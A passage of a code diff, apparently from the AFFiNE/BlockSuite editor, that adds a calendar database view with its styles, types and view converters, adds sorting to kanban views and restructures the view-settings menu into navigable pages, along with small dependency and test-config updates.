var(--affine-background-primary-color)
);
}
.calendar-empty-month-hint {
position: absolute;
top: 44px;
left: 8px;
right: 8px;
z-index: 3;
display: flex;
align-items: center;
justify-content: space-between;
gap: 12px;
min-height: 36px;
padding: 6px 8px 6px 12px;
border: 1px solid
color-mix(in srgb, var(--affine-primary-color) 18%, transparent);
border-radius: 6px;
background: color-mix(
in srgb,
var(--affine-background-primary-color) 92%,
var(--affine-primary-color)
);
box-shadow: var(--affine-menu-shadow);
box-sizing: border-box;
}
.calendar-empty-month-hint-copy {
display: inline-flex;
align-items: baseline;
gap: 8px;
min-width: 0;
}
.calendar-empty-month-hint-title {
flex: 0 0 auto;
color: var(--affine-text-primary-color);
font-size: 12px;
font-weight: 600;
line-height: 18px;
}
.calendar-empty-month-hint-body {
min-width: 0;
color: var(--affine-text-secondary-color);
font-size: 12px;
line-height: 18px;
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap;
}
.calendar-empty-month-hint-actions {
display: inline-flex;
align-items: center;
gap: 4px;
flex: 0 0 auto;
}
.calendar-empty-month-hint-action,
.calendar-empty-month-hint-close {
display: inline-flex;
align-items: center;
justify-content: center;
gap: 4px;
height: 24px;
padding: 3px 8px;
border: 0;
border-radius: 5px;
background: color-mix(
in srgb,
var(--affine-primary-color) 10%,
var(--affine-background-primary-color)
);
color: var(--affine-primary-color);
font-size: 12px;
font-weight: 500;
line-height: 18px;
cursor: pointer;
}
.calendar-empty-month-hint-close {
width: 24px;
padding: 4px;
background: transparent;
color: var(--affine-icon-secondary);
}
.calendar-empty-month-hint-close svg {
width: 14px;
height: 14px;
}
.calendar-empty-month-hint-action:hover,
.calendar-empty-month-hint-close:hover {
background: color-mix(
in srgb,
var(--affine-primary-color) 16%,
var(--affine-background-primary-color)
);
}
.calendar-setup-wrap {
position: relative;
}
.calendar-setup-wrap .calendar-shell {
filter: grayscale(1) blur(1px);
opacity: 0.55;
pointer-events: none;
}
.calendar-setup {
position: absolute;
inset: 0;
display: flex;
align-items: center;
justify-content: center;
}
.calendar-setup button {
height: 32px;
padding: 7px 12px;
}
.calendar-event-popover {
display: flex;
flex-direction: column;
gap: 4px;
width: 318px;
padding: 4px;
font-size: 13px;
line-height: 20px;
}
.calendar-event-popover-title {
padding: 2px 4px;
color: var(--affine-text-primary-color);
font-weight: 600;
font-size: 14px;
line-height: 22px;
margin-bottom: 2px;
}
.calendar-event-popover-row {
display: flex;
align-items: flex-start;
gap: 8px;
padding: 2px 4px;
color: var(--affine-text-secondary-color);
}
.calendar-event-popover-icon {
display: flex;
align-items: center;
flex: 0 0 16px;
height: 20px;
color: var(--affine-icon-secondary);
}
.calendar-event-popover-icon svg {
width: 16px;
height: 16px;
}
.calendar-event-popover-description {
white-space: pre-wrap;
word-break: break-word;
}
`;
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,12 @@
import './pc/effect.js';
import { createIcon } from '../../core/utils/uni-icon.js';
import type { DataViewUILogicBaseConstructor } from '../../core/view/data-view-base.js';
import { calendarViewModel } from './define.js';
import { CalendarViewUILogic } from './pc/view.js';
export const calendarViewMeta = calendarViewModel.createMeta({
icon: createIcon('TodayIcon'),
pcLogic: () =>
CalendarViewUILogic as unknown as DataViewUILogicBaseConstructor,
});
@@ -0,0 +1,23 @@
import { createIdentifier } from '@blocksuite/global/di';
import type { DataSource } from '../../core/data-source/base.js';
import type {
CalendarExternalSource,
CalendarStoredViewData,
} from './types.js';
export type CalendarExternalSourceFactory = {
id: string;
create(viewData: CalendarStoredViewData): CalendarExternalSource;
};
export const CalendarExternalSourceProvider =
createIdentifier<CalendarExternalSourceFactory>('calendar-external-source');
export const getCalendarExternalSources = (
dataSource: DataSource,
viewData: CalendarStoredViewData
) =>
Array.from(
dataSource.provider.getAll(CalendarExternalSourceProvider).values()
).map(source => source.create(viewData));
@@ -0,0 +1,97 @@
import type { FilterGroup } from '../../core/filter/types.js';
import type { Sort } from '../../core/sort/types.js';
import type { BasicViewDataType } from '../../core/view/data-view.js';
export type CalendarWorkspaceSourceConfig = {
enabled: boolean;
subscriptionIds?: string[];
};
export type CalendarUiData = {
emptyMonthHintDismissed?: boolean;
};
export type CalendarCardProperty = {
propertyId: string;
value: string;
};
export type CalendarTitleSegment = {
text: string;
linkedDoc?: boolean;
};
type CalendarViewDataShape = {
filter: FilterGroup;
sort?: Sort;
date: {
startColumnId?: string;
endColumnId?: string;
};
card: {
titleColumnId?: string;
visiblePropertyIds: string[];
};
sources: {
workspaceCalendar?: CalendarWorkspaceSourceConfig;
};
ui?: CalendarUiData;
};
export type CalendarViewData = BasicViewDataType<
'calendar',
CalendarViewDataShape
>;
export type CalendarStoredViewData = CalendarViewData;
export type CalendarEntryBase = {
id: string;
sourceId: string;
title: string;
color?: string;
startAt: number;
endAt?: number;
allDay?: boolean;
};
export type CalendarRowEntry = CalendarEntryBase & {
kind: 'row';
sourceId: 'database';
rowId: string;
titleSegments?: CalendarTitleSegment[];
cardProperties: CalendarCardProperty[];
canResizeRange: boolean;
};
export type CalendarExternalEntry = CalendarEntryBase & {
kind: 'external';
sourceId: string;
externalId: string;
calendarName?: string;
location?: string;
description?: string;
canResizeRange: false;
};
export type CalendarEntry = CalendarRowEntry | CalendarExternalEntry;
export type CalendarEntryRange = {
from: number;
to: number;
};
export type CalendarExternalSource = {
id: string;
getSubscriptionOptions?(): CalendarExternalSourceSubscription[];
openConnectSettings?(): void;
getEntries(
range: CalendarEntryRange
): CalendarExternalEntry[] | Promise<CalendarExternalEntry[]>;
};
export type CalendarExternalSourceSubscription = {
id: string;
name: string;
color?: string;
};
@@ -1,13 +1,45 @@
import { createViewConvert } from '../core/view/convert.js';
import { calendarViewModel } from './calendar/index.js';
import { kanbanViewModel } from './kanban/index.js';
import { tableViewModel } from './table/index.js';
const headerToCalendarCard = (header?: { titleColumn?: string }) => ({
titleColumnId: header?.titleColumn,
visiblePropertyIds: [],
});
const calendarCardToHeader = (card?: { titleColumnId?: string }) => ({
titleColumn: card?.titleColumnId,
});
export const viewConverts = [
createViewConvert(tableViewModel, kanbanViewModel, data => ({
filter: data.filter,
header: data.header,
})),
createViewConvert(kanbanViewModel, tableViewModel, data => ({
filter: data.filter,
header: data.header,
groupBy: data.groupBy,
})),
createViewConvert(tableViewModel, calendarViewModel, data => ({
filter: data.filter,
sort: data.sort,
card: headerToCalendarCard(data.header),
})),
createViewConvert(kanbanViewModel, calendarViewModel, data => ({
filter: data.filter,
sort: data.sort,
card: headerToCalendarCard(data.header),
})),
createViewConvert(calendarViewModel, tableViewModel, data => ({
filter: data.filter,
sort: data.sort,
header: calendarCardToHeader(data.card),
})),
createViewConvert(calendarViewModel, kanbanViewModel, data => ({
filter: data.filter,
sort: data.sort,
header: calendarCardToHeader(data.card),
})),
];
@@ -1,7 +1,9 @@
import { calendarEffects } from './calendar/effect.js';
import { kanbanEffects } from './kanban/effect.js';
import { tableEffects } from './table/effect.js';
export function viewPresetsEffects() {
calendarEffects();
kanbanEffects();
tableEffects();
}
@@ -1,6 +1,8 @@
import { calendarViewMeta } from './calendar/index.js';
import { kanbanViewMeta } from './kanban/index.js';
import { tableViewMeta } from './table/index.js';
export * from './calendar/index.js';
export * from './convert.js';
export * from './kanban/index.js';
export * from './table/index.js';
@@ -8,4 +10,5 @@ export * from './table/index.js';
export const viewPresets = {
tableViewMeta: tableViewMeta,
kanbanViewMeta: kanbanViewMeta,
calendarViewMeta: calendarViewMeta,
};
@@ -15,7 +15,9 @@ import {
sortByManually,
} from '../../core/group-by/trait.js';
import { fromJson } from '../../core/property/utils';
import { SortManager, sortTraitKey } from '../../core/sort/manager.js';
import { PropertyBase } from '../../core/view-manager/property.js';
import type { Row } from '../../core/view-manager/row.js';
import { SingleViewBase } from '../../core/view-manager/single-view.js';
import type { ViewManager } from '../../core/view-manager/view-manager.js';
import type { KanbanViewColumn, KanbanViewData } from './define.js';
@@ -92,6 +94,19 @@ export class KanbanSingleView extends SingleViewBase<KanbanViewData> {
return this.data$.value?.filter ?? emptyFilterGroup;
});
private readonly sortList$ = computed(() => {
return this.data$.value?.sort;
});
private readonly sortManager = this.traitSet(
sortTraitKey,
new SortManager(this.sortList$, this, {
setSortList: sortList => {
this.dataUpdate(data => ({ sort: { ...data.sort, ...sortList } }));
},
})
);
filterTrait = this.traitSet(
filterTraitKey,
new FilterTrait(this.filter$, this, {
@@ -140,6 +155,7 @@ export class KanbanSingleView extends SingleViewBase<KanbanViewData> {
return asc === false ? sorted.reverse() : sorted;
},
sortRow: (key, rows) => {
if (this.sortManager.hasSort$.value) return rows;
const property = this.view?.groupProperties.find(v => v.key === key);
return sortByManually(
rows,
@@ -359,6 +375,10 @@ export class KanbanSingleView extends SingleViewBase<KanbanViewData> {
return true;
}
protected override rowsMapping(rows: Row[]): Row[] {
return this.sortManager.sort(super.rowsMapping(rows));
}
propertyGetOrCreate(columnId: string): KanbanColumn {
return new KanbanColumn(this, columnId);
}
@@ -1,4 +1,5 @@
import {
type Menu,
menu,
type MenuButtonData,
type MenuConfig,
@@ -16,22 +17,22 @@ import {
InfoIcon,
LayoutIcon,
MoreHorizontalIcon,
PlusIcon,
SortIcon,
} from '@blocksuite/icons/lit';
import { autoPlacement, offset, shift } from '@floating-ui/dom';
import { signal } from '@preact/signals-core';
import { css, html } from 'lit';
import { styleMap } from 'lit/directives/style-map.js';
import { popPropertiesSetting } from '../../../../core/common/properties.js';
import { filterTraitKey } from '../../../../core/filter/trait.js';
import {
popGroupSetting,
popSelectGroupByProperty,
buildGroupSelectItems,
buildGroupSettingItems,
} from '../../../../core/group-by/setting.js';
import { groupTraitKey } from '../../../../core/group-by/trait.js';
import {
type DataViewUILogicBase,
emptyFilterGroup,
popCreateFilter,
renderUniLit,
} from '../../../../core/index.js';
@@ -39,8 +40,6 @@ import { popCreateSort } from '../../../../core/sort/add-sort.js';
import { sortTraitKey } from '../../../../core/sort/manager.js';
import { createSortUtils } from '../../../../core/sort/utils.js';
import { WidgetBase } from '../../../../core/widget/widget-base.js';
import { popFilterRoot } from '../../../quick-setting-bar/filter/root-panel-view.js';
import { popSortRoot } from '../../../quick-setting-bar/sort/root-panel.js';
const styles = css`
.affine-database-toolbar-item.more-action {
@@ -95,379 +94,486 @@ declare global {
'data-view-header-tools-view-options': DataViewHeaderToolsViewOptions;
}
}
const createSettingMenus = (
target: PopupTarget,
dataViewLogic: DataViewUILogicBase,
reopen: () => void,
closeMenu: () => void
) => {
const view = dataViewLogic.view;
const settingItems: MenuConfig[] = [];
settingItems.push(
menu.action({
name: 'Properties',
prefix: InfoIcon(),
closeOnSelect: false,
postfix: html` <div style="font-size: 14px;">
${view.properties$.value.length} shown
</div>
${ArrowRightSmallIcon()}`,
select: () => {
popPropertiesSetting(
target,
{
view: view,
onBack: reopen,
onClose: closeMenu,
},
[
autoPlacement({ allowedPlacements: ['bottom-start', 'top-start'] }),
offset({ mainAxis: 15, crossAxis: -162 }),
shift({ crossAxis: true }),
]
);
},
})
);
const filterTrait = view.traitGet(filterTraitKey);
if (filterTrait) {
const filterCount = filterTrait.filter$.value.conditions.length;
settingItems.push(
menu.action({
name: 'Filter',
prefix: FilterIcon(),
closeOnSelect: false,
postfix: html` <div style="font-size: 14px;">
${filterCount === 0
? ''
: filterCount === 1
? '1 filter'
: `${filterCount} filters`}
</div>
${ArrowRightSmallIcon()}`,
select: () => {
if (!filterTrait.filter$.value.conditions.length) {
popCreateFilter(
target,
{
vars: view.vars$,
onBack: reopen,
onClose: closeMenu,
onSelect: filter => {
filterTrait.filterSet({
...(filterTrait.filter$.value ?? emptyFilterGroup),
conditions: [
...filterTrait.filter$.value.conditions,
filter,
],
});
popFilterRoot(
target,
{
filterTrait: filterTrait,
onBack: reopen,
onClose: closeMenu,
dataViewLogic: dataViewLogic,
},
[
autoPlacement({
allowedPlacements: ['bottom-start', 'top-start'],
}),
offset({ mainAxis: 15, crossAxis: -162 }),
shift({ crossAxis: true }),
]
);
dataViewLogic.eventTrace('CreateDatabaseFilter', {});
},
},
{
middleware: [
autoPlacement({
allowedPlacements: ['bottom-start', 'top-start'],
}),
offset({ mainAxis: 15, crossAxis: -162 }),
shift({ crossAxis: true }),
],
}
);
} else {
popFilterRoot(
target,
{
filterTrait: filterTrait,
onBack: reopen,
onClose: closeMenu,
dataViewLogic: dataViewLogic,
},
[
autoPlacement({
allowedPlacements: ['bottom-start', 'top-start'],
}),
offset({ mainAxis: 15, crossAxis: -162 }),
shift({ crossAxis: true }),
]
);
}
},
})
);
}
const sortTrait = view.traitGet(sortTraitKey);
if (sortTrait) {
const sortCount = sortTrait.sortList$.value.length;
settingItems.push(
menu.action({
name: 'Sort',
prefix: SortIcon(),
closeOnSelect: false,
postfix: html` <div style="font-size: 14px;">
${sortCount === 0
? ''
: sortCount === 1
? '1 sort'
: `${sortCount} sorts`}
</div>
${ArrowRightSmallIcon()}`,
select: () => {
const sortList = sortTrait.sortList$.value;
const sortUtils = createSortUtils(
sortTrait,
dataViewLogic.eventTrace
);
if (!sortList.length) {
popCreateSort(
target,
{
sortUtils: sortUtils,
onBack: reopen,
onClose: closeMenu,
},
{
middleware: [
autoPlacement({
allowedPlacements: ['bottom-start', 'top-start'],
}),
offset({ mainAxis: 15, crossAxis: -162 }),
shift({ crossAxis: true }),
],
}
);
} else {
popSortRoot(
target,
{
sortUtils: sortUtils,
title: {
text: 'Sort',
onBack: reopen,
onClose: closeMenu,
},
},
[
autoPlacement({
allowedPlacements: ['bottom-start', 'top-start'],
}),
offset({ mainAxis: 15, crossAxis: -162 }),
shift({ crossAxis: true }),
]
);
}
},
})
);
}
const groupTrait = view.traitGet(groupTraitKey);
if (groupTrait) {
settingItems.push(
menu.action({
name: 'Group',
prefix: GroupingIcon(),
closeOnSelect: false,
postfix: html` <div style="font-size: 14px;">
${groupTrait.property$.value?.name$.value ?? ''}
</div>
${ArrowRightSmallIcon()}`,
select: () => {
const groupBy = groupTrait.property$.value;
if (!groupBy) {
popSelectGroupByProperty(
target,
groupTrait,
{
onSelect: () =>
popGroupSetting(target, groupTrait, reopen, closeMenu, [
autoPlacement({
allowedPlacements: ['bottom-start', 'top-start'],
}),
offset({ mainAxis: 15, crossAxis: -162 }),
shift({ crossAxis: true }),
]),
onBack: reopen,
onClose: closeMenu,
},
[
autoPlacement({
allowedPlacements: ['bottom-start', 'top-start'],
}),
offset({ mainAxis: 15, crossAxis: -162 }),
shift({ crossAxis: true }),
]
);
} else {
popGroupSetting(target, groupTrait, reopen, closeMenu, [
autoPlacement({
allowedPlacements: ['bottom-start', 'top-start'],
}),
offset({ mainAxis: 15, crossAxis: -162 }),
shift({ crossAxis: true }),
]);
}
},
})
);
}
return settingItems;
type Page =
| 'main'
| 'properties'
| 'filter'
| 'sort'
| 'group'
| 'group-select'
| 'custom';
const pageTitles: Record<Exclude<Page, 'custom'>, string> = {
main: 'View settings',
properties: 'Properties',
filter: 'Filter',
sort: 'Sort',
group: 'Group',
'group-select': 'Group by',
};
export const popViewOptions = (
target: PopupTarget,
dataViewLogic: DataViewUILogicBase,
onClose?: () => void
) => {
const view = dataViewLogic.view;
const reopen = () => {
popViewOptions(target, dataViewLogic);
};
let handler: ReturnType<typeof popMenu>;
const items: MenuConfig[] = [];
items.push(
menu.input({
initialValue: view.name$.value,
placeholder: 'View name',
onChange: text => {
view.nameSet(text);
},
})
);
items.push(
menu.group({
items: [
menu => {
const viewTypeItems = menu.renderItems(
view.manager.viewMetas.map<MenuConfig>(meta => {
return menu => {
if (!menu.search(meta.model.defaultName)) {
return;
}
const isSelected =
meta.type === view.manager.currentView$.value?.type;
const iconStyle = styleMap({
fontSize: '24px',
color: isSelected
? 'var(--affine-text-emphasis-color)'
: 'var(--affine-icon-secondary)',
});
const textStyle = styleMap({
fontSize: '14px',
lineHeight: '22px',
color: isSelected
? 'var(--affine-text-emphasis-color)'
: 'var(--affine-text-secondary-color)',
});
const buttonData: MenuButtonData = {
content: () => html`
<div
style="width:100%;display: flex;flex-direction: column;align-items: center;justify-content: center;padding: 6px 16px;white-space: nowrap"
>
<div style="${iconStyle}">
${renderUniLit(meta.renderer.icon)}
</div>
<div style="${textStyle}">${meta.model.defaultName}</div>
</div>
`,
select: () => {
const id = view.manager.currentViewId$.value;
if (!id || meta.type === view.type) {
return;
}
view.manager.viewChangeType(id, meta.type);
dataViewLogic.clearSelection();
},
class: {},
};
const containerStyle = styleMap({
flex: '1',
});
return html`<affine-menu-button
style="${containerStyle}"
.data="${buttonData}"
.menu="${menu}"
></affine-menu-button>`;
};
})
);
if (!viewTypeItems.length) {
return html``;
}
return html`
<div style="display:flex;align-items:center;gap:8px;padding:0 2px;">
<div
style="display:flex;align-items:center;color:var(--affine-icon-color);"
>
${LayoutIcon()}
</div>
<div
style="font-size:14px;line-height:22px;color:var(--affine-text-secondary-color);"
>
Layout
</div>
</div>
<div style="display:flex;gap:8px;margin-top:8px;">
${viewTypeItems}
</div>
`;
},
],
})
);
items.push(
menu.group({
items: createSettingMenus(target, dataViewLogic, reopen, () =>
handler.close()
),
})
);
items.push(
const currentPage = signal<Page>('main');
const pageStack: Page[] = ['main'];
let menuHandler!: ReturnType<typeof popMenu>;
let mainPageHeight: number | null = null;
let customPageTitle = '';
let customPageItems: () => MenuConfig[] = () => [];
const isDesktopMenu = () =>
menuHandler.menu.menuElement.tagName.toLowerCase() === 'affine-menu';
const navigate = (page: Page) => {
if (!isDesktopMenu()) {
pageStack.push(page);
currentPage.value = page;
return;
}
if (mainPageHeight === null) {
mainPageHeight =
menuHandler.menu.menuElement.getBoundingClientRect().height;
}
menuHandler.menu.menuElement.style.height = `${mainPageHeight}px`;
pageStack.push(page);
currentPage.value = page;
};
const goBack = () => {
if (pageStack.length > 1) {
pageStack.pop();
const dest = pageStack[pageStack.length - 1] ?? 'main';
currentPage.value = dest;
if (dest === 'main') {
menuHandler.menu.menuElement.style.height = '';
}
}
};
const navigateToCustomPage = (
title: string,
getItems: () => MenuConfig[]
) => {
customPageTitle = title;
customPageItems = getItems;
navigate('custom');
};
const titleConfig = {
get text() {
if (currentPage.value === 'custom') return customPageTitle;
return (
pageTitles[currentPage.value as Exclude<Page, 'custom'>] ??
'View settings'
);
},
get onBack(): ((menu: Menu) => false) | undefined {
return currentPage.value !== 'main'
? (_: Menu) => {
goBack();
return false;
}
: undefined;
},
get postfix() {
if (currentPage.value !== 'properties') return undefined;
const items = view.propertiesRaw$.value;
const isAllShowed = items.every(p => !p.hide$.value);
const clickChangeAll = () => {
items.forEach(p => {
if (p.hideCanSet) p.hideSet(isAllShowed);
});
};
return () =>
html`<div
class="properties-group-op"
style="padding:4px 8px;font-size:12px;line-height:20px;font-weight:500;border-radius:4px;cursor:pointer;color:var(--affine-primary-color);"
@click="${clickChangeAll}"
>
${isAllShowed ? 'Hide All' : 'Show All'}
</div>`;
},
get onClose() {
return () => menuHandler?.menu.close();
},
};
const getPropertiesPageItems = (): MenuConfig[] => [
menu.group({
items: [
menu.action({
name: 'Duplicate',
prefix: DuplicateIcon(),
closeOnSelect: false,
select: () => {
view.duplicate();
},
}),
menu.action({
name: 'Delete',
prefix: DeleteIcon(),
closeOnSelect: false,
select: () => {
view.delete();
},
class: { 'delete-item': true },
}),
() =>
html`<data-view-properties-setting
.view="${view}"
></data-view-properties-setting>`,
],
})
);
handler = popMenu(target, {
}),
];
const getFilterPageItems = (): MenuConfig[] => {
const filterTrait = view.traitGet(filterTraitKey);
if (!filterTrait) return getMainPageItems();
return [
menu.group({
items: [
() =>
html`<filter-root-view
.onBack="${goBack}"
.vars="${view.vars$}"
.filterGroup="${filterTrait.filter$}"
.onChange="${filterTrait.filterSet}"
></filter-root-view>`,
],
}),
menu.group({
items: [
menu.action({
name: 'Add',
prefix: PlusIcon(),
select: ele => {
const value = filterTrait.filter$.value;
popCreateFilter(popupTargetFromElement(ele), {
vars: view.vars$,
onSelect: filter => {
filterTrait.filterSet({
...value,
conditions: [...value.conditions, filter],
});
dataViewLogic.eventTrace('CreateDatabaseFilter', {});
},
});
return false;
},
}),
],
}),
];
};
const getSortPageItems = (): MenuConfig[] => {
const sortTrait = view.traitGet(sortTraitKey);
if (!sortTrait) return getMainPageItems();
const sortUtils = createSortUtils(sortTrait, dataViewLogic.eventTrace);
return [
() => html`<sort-root-view .sortUtils="${sortUtils}"></sort-root-view>`,
menu.action({
name: 'Add sort',
prefix: PlusIcon(),
select: ele => {
popCreateSort(popupTargetFromElement(ele), { sortUtils });
return false;
},
}),
menu.action({
name: 'Delete',
class: { 'delete-item': true },
prefix: DeleteIcon(),
select: () => {
sortUtils.removeAll();
},
}),
];
};
const getGroupPageItems = (): MenuConfig[] => {
const groupTrait = view.traitGet(groupTraitKey);
if (!groupTrait) return getMainPageItems();
const gProp = groupTrait.property$.value;
if (!gProp) return [];
return buildGroupSettingItems(
groupTrait,
() => navigate('group-select'),
() => navigate('main')
);
};
const getGroupSelectPageItems = (): MenuConfig[] => {
const groupTrait = view.traitGet(groupTraitKey);
if (!groupTrait) return getMainPageItems();
return buildGroupSelectItems(groupTrait, id => {
if (id) {
if (pageStack.at(-1) === 'group-select') {
pageStack[pageStack.length - 1] = 'group';
} else {
pageStack.push('group');
}
currentPage.value = 'group';
} else {
while (pageStack.length > 1) pageStack.pop();
currentPage.value = 'main';
}
});
};
const getMainPageItems = (): MenuConfig[] => {
const items: MenuConfig[] = [];
items.push(
menu.input({
initialValue: view.name$.value,
placeholder: 'View name',
disableAutoFocus: true,
onChange: text => {
view.nameSet(text);
},
})
);
items.push(
menu.group({
items: [
menuObj => {
const viewTypeItems = menuObj.renderItems(
view.manager.viewMetas.map<MenuConfig>(meta => {
return menuObj => {
if (!menuObj.search(meta.model.defaultName)) {
return;
}
const isSelected =
meta.type === view.manager.currentView$.value?.type;
const iconStyle = styleMap({
fontSize: '24px',
color: isSelected
? 'var(--affine-text-emphasis-color)'
: 'var(--affine-icon-secondary)',
});
const textStyle = styleMap({
fontSize: '14px',
lineHeight: '22px',
color: isSelected
? 'var(--affine-text-emphasis-color)'
: 'var(--affine-text-secondary-color)',
});
const buttonData: MenuButtonData = {
content: () => html`
<div
style="width:100%;min-width:0;display: flex;flex-direction: column;align-items: center;justify-content: center;padding: 6px 4px;white-space: nowrap;box-sizing:border-box;"
>
<div style="${iconStyle}">
${renderUniLit(meta.renderer.icon)}
</div>
<div style="${textStyle}">
${meta.model.defaultName}
</div>
</div>
`,
select: () => {
const id = view.manager.currentViewId$.value;
if (!id || meta.type === view.type) {
return;
}
view.manager.viewChangeType(id, meta.type);
dataViewLogic.clearSelection();
},
class: {},
};
const containerStyle = styleMap({
flex: '1',
});
return html`<affine-menu-button
style="${containerStyle}"
.data="${buttonData}"
.menu="${menuObj}"
></affine-menu-button>`;
};
})
);
if (!viewTypeItems.length) {
return html``;
}
return html`
<div
style="display:flex;align-items:center;gap:8px;padding:0 2px;"
>
<div
style="display:flex;align-items:center;color:var(--affine-icon-color);"
>
${LayoutIcon()}
</div>
<div
style="font-size:14px;line-height:22px;color:var(--affine-text-secondary-color);"
>
Layout
</div>
</div>
<div style="display:flex;gap:4px;margin-top:8px;">
${viewTypeItems}
</div>
`;
},
],
})
);
const settingItems: MenuConfig[] = [];
settingItems.push(
menu.action({
name: 'Properties',
prefix: InfoIcon(),
closeOnSelect: false,
postfix: html`
<div style="font-size: 14px;">
${view.properties$.value.length} shown
</div>
${ArrowRightSmallIcon()}
`,
select: () => {
navigate('properties');
return false;
},
})
);
const filterTrait = view.traitGet(filterTraitKey);
if (filterTrait) {
const filterCount = filterTrait.filter$.value.conditions.length;
settingItems.push(
menu.action({
name: 'Filter',
prefix: FilterIcon(),
closeOnSelect: false,
postfix: html`
<div style="font-size: 14px;">
${filterCount === 0
? ''
: filterCount === 1
? '1 active'
: `${filterCount} active`}
</div>
${ArrowRightSmallIcon()}
`,
select: () => {
navigate('filter');
return false;
},
})
);
}
const sortTrait = view.traitGet(sortTraitKey);
if (sortTrait) {
const sortCount = sortTrait.sortList$.value.length;
settingItems.push(
menu.action({
name: 'Sort',
prefix: SortIcon(),
closeOnSelect: false,
postfix: html`
<div style="font-size: 14px;">
${sortCount === 0
? ''
: sortCount === 1
? '1 active'
: `${sortCount} active`}
</div>
${ArrowRightSmallIcon()}
`,
select: () => {
navigate('sort');
return false;
},
})
);
}
const groupTrait = view.traitGet(groupTraitKey);
if (groupTrait) {
settingItems.push(
menu.action({
name: 'Group',
prefix: GroupingIcon(),
closeOnSelect: false,
postfix: html`
<div style="font-size: 14px;">
${groupTrait.property$.value?.name$.value ?? ''}
</div>
${ArrowRightSmallIcon()}
`,
select: () => {
const hasGroup = !!groupTrait.property$.value;
navigate(hasGroup ? 'group' : 'group-select');
return false;
},
})
);
}
items.push(menu.group({ items: settingItems }));
const viewSpecificItems =
(
dataViewLogic as DataViewUILogicBase & {
getViewOptionsSettingItems?: (
navigateToSubPage?: (
title: string,
getItems: () => MenuConfig[]
) => void,
goBack?: () => void
) => MenuConfig[];
}
).getViewOptionsSettingItems?.(navigateToCustomPage, goBack) ?? [];
if (viewSpecificItems.length) {
items.push(menu.group({ items: viewSpecificItems }));
}
items.push(
menu.group({
items: [
menu.action({
name: 'Duplicate view',
prefix: DuplicateIcon(),
closeOnSelect: false,
select: () => {
view.duplicate();
},
}),
menu.action({
name: 'Delete view',
prefix: DeleteIcon(),
closeOnSelect: false,
select: () => {
view.delete();
},
class: { 'delete-item': true },
}),
],
})
);
return items;
};
const getPageItems = (): MenuConfig[] => {
switch (currentPage.value) {
case 'properties':
return getPropertiesPageItems();
case 'filter':
return getFilterPageItems();
case 'sort':
return getSortPageItems();
case 'group':
return getGroupPageItems();
case 'group-select':
return getGroupSelectPageItems();
case 'custom':
return customPageItems();
default:
return getMainPageItems();
}
};
menuHandler = popMenu(target, {
options: {
title: {
text: 'View settings',
onClose: () => handler.close(),
},
items,
onClose: onClose,
title: titleConfig,
items: [menu.dynamic(getPageItems)],
onClose,
},
middleware: [
autoPlacement({ allowedPlacements: ['bottom-start'] }),
@@ -475,6 +581,23 @@ export const popViewOptions = (
shift({ crossAxis: true }),
],
});
handler.menu.menuElement.style.minHeight = '550px';
return handler;
if (isDesktopMenu()) {
menuHandler.menu.menuElement.style.minWidth = '380px';
menuHandler.menu.menuElement.style.maxWidth = '380px';
menuHandler.menu.menuElement.style.borderRadius = '10px';
menuHandler.menu.menuElement.style.padding = '12px';
menuHandler.menu.menuElement.style.gap = '10px';
requestAnimationFrame(() => {
const bodyEl =
menuHandler.menu.menuElement.querySelector<HTMLElement>(
'.affine-menu-body'
);
if (bodyEl) {
bodyEl.style.overflowY = 'auto';
bodyEl.style.flex = '1';
bodyEl.style.minHeight = '0';
}
});
}
return menuHandler;
};
+5 -1
View File
@@ -1,3 +1,5 @@
import { fileURLToPath } from 'node:url';
import { defineConfig } from 'vitest/config';
export default defineConfig({
@@ -5,7 +7,9 @@ export default defineConfig({
target: 'es2018',
},
test: {
globalSetup: '../../scripts/vitest-global.js',
globalSetup: fileURLToPath(
new URL('../../../scripts/vitest-global.js', import.meta.url)
),
include: ['src/__tests__/**/*.unit.spec.ts'],
testTimeout: 1000,
coverage: {
+1 -1
View File
@@ -15,7 +15,7 @@
"zod": "^3.25.76"
},
"devDependencies": {
"vitest": "^4.0.18"
"vitest": "^4.1.8"
},
"exports": {
".": "./src/index.ts"
@@ -19,6 +19,7 @@ import {
type LocalConnectorElementModel,
type PointStyle,
} from '@blocksuite/affine-model';
import { getAffinePlaceholderFillColor } from '@blocksuite/affine-shared/theme';
import {
getBezierParameters,
type PointLocation,
@@ -253,7 +254,7 @@ function renderLabel(
ctx.setTransform(matrix);
if (renderer.usePlaceholder) {
ctx.fillStyle = 'rgba(200, 200, 200, 0.5)';
ctx.fillStyle = getAffinePlaceholderFillColor(renderer.getColorScheme());
ctx.fillRect(0, 0, w, h);
return; // Skip actual label rendering
}
+1 -1
View File
@@ -26,7 +26,7 @@
"lit": "^3.2.0"
},
"devDependencies": {
"vitest": "^4.0.18"
"vitest": "^4.1.8"
},
"exports": {
".": "./src/index.ts",
+5 -1
View File
@@ -1,3 +1,5 @@
import { fileURLToPath } from 'node:url';
import { defineConfig } from 'vitest/config';
export default defineConfig({
@@ -5,7 +7,9 @@ export default defineConfig({
target: 'es2018',
},
test: {
globalSetup: '../../../scripts/vitest-global.js',
globalSetup: fileURLToPath(
new URL('../../../../scripts/vitest-global.js', import.meta.url)
),
include: ['src/__tests__/**/*.unit.spec.ts'],
testTimeout: 1000,
coverage: {
+11 -11
View File
@@ -119,15 +119,14 @@ export class MindMapView extends GfxElementModelView<MindmapElementModel> {
private _setLayoutMethod() {
this.model.setLayoutMethod(function (
this: MindmapElementModel,
tree: MindmapNode | MindmapRoot = this.tree,
options: {
applyStyle?: boolean;
layoutType?: LayoutType;
stashed?: boolean;
} = {
applyStyle: true,
stashed: true,
}
tree: MindmapNode | MindmapRoot | undefined,
options:
| {
applyStyle?: boolean;
layoutType?: LayoutType;
stashed?: boolean;
}
| undefined
) {
const { stashed, applyStyle, layoutType } = Object.assign(
{
@@ -137,9 +136,10 @@ export class MindMapView extends GfxElementModelView<MindmapElementModel> {
},
options
);
const targetTree = tree ?? this.tree;
const pop = stashed ? this.stashTree(tree) : null;
handleLayout(this, tree, applyStyle, layoutType);
const pop = stashed ? this.stashTree(targetTree) : null;
handleLayout(this, targetTree, applyStyle, layoutType);
pop?.();
});
}
+1 -1
View File
@@ -22,7 +22,7 @@
"lit": "^3.2.0"
},
"devDependencies": {
"vitest": "^4.0.18"
"vitest": "^4.1.8"
},
"exports": {
".": "./src/index.ts",
@@ -1,3 +1,5 @@
import { fileURLToPath } from 'node:url';
import { defineConfig } from 'vitest/config';
export default defineConfig({
